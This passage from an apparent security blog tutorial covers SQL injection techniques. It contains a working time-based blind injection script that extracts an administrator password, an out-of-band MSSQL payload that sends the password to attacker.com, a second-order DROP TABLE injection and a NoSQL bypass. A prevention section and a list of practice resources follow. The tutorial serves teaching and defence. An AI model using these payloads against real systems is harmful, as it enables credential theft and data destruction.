charset = "abcdefghijklmnopqrstuvwxyz0123456789"

for pos in range(1, 21):
    for ch in charset:
        payload = (
            f"'||(SELECT CASE WHEN substring(password,{pos},1)='{ch}' THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users WHERE username='administrator')--"
        )
        cookies = {"TrackingId": payload, "session": session_id}
        start = time.time()
        requests.get(url, cookies=cookies)
        if time.time() - start > 4:
            print(f"Position {pos}: {ch}")
            break

Using an IF condition with pg_sleep enables bitwise extraction by observing delays. We choose this payload for PostgreSQL environments for its precision and reliability.

8. Out‑of‑Band (OAST) SQL Injection

When neither data nor error feedback is exposed, trigger external callbacks:

?id=1'; EXEC master..xp_dirtree '\\attacker.com\\'+(SELECT password FROM users)+'\\share'--

This payload instructs the database server to perform a network call to the attacker’s domain, embedding the password in the path. We choose the xp_dirtree function because it reliably causes DNS resolution in MSSQL environments.

9. SQL Injection in Different Contexts

Second‑Order SQLi: Payloads stored in the application (e.g., comments, profiles) are later executed when that data is used in a new SQL context:

-- Initial storage:
INSERT INTO posts (content) VALUES ('Great post'); DROP TABLE comments; --
-- Later, when viewing posts, the DROP TABLE executes.

We use this example to illustrate how injections can hide in benign inputs and trigger later, bypassing initial sanitization.

NoSQL Contexts: Document databases like MongoDB suffer similar flaws if user input is embedded directly in JSON queries:

{ "username": userInput, "password": passInput }

Injecting { "$ne": null } bypasses both fields. This payload exploits type coercion and query structure in NoSQL contexts.

10. Preventing SQL Injection

Parameterized Queries / Prepared Statements: Bind variables instead of concatenating strings.
ORMs & Query Builders: Rely on built-in methods that auto-escape inputs.
Strict Input Validation: Use allow-lists for IDs, enforce regex for emails, etc.
Least Privilege: Limit database user rights to only necessary operations.
Error Handling: Suppress verbose errors in production; log details internally.
Regular Testing: Combine automated scanners with manual pentesting.

Never trust user input—always treat it as data, not code.

11. Additional Resources & Cheat Sheets

Practice Platforms

PortSwigger Web Security Academy: https://portswigger.net/web-security
DVWA: http://www.dvwa.co.uk/
OWASP Juice Shop: https://owasp.org/www-project-juice-shop/
Hack The Box: https://www.hackthebox.com/
TryHackMe: https://tryhackme.com/

Cheat Sheets & References

PortSwigger SQL Injection Cheat Sheet: https://portswigger.net/kb/sql-injection-cheat-sheet
OWASP Testing Guide – SQLi: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/03-Testing_for_SQL_Injection
SQLMap Docs: https://sqlmap.org/

Conclusion
SQL Injection remains one of the most critical web vulnerabilities. Mastering each technique—from classic bypass to advanced OAST—empowers both attackers and defenders to secure or exploit applications effectively.

Thanks to everyone who made it to the end of this blog. Make sure to follow me on X (https://x.com/Advik_Kant) till then stay ethical, stay curious, and always code defensively!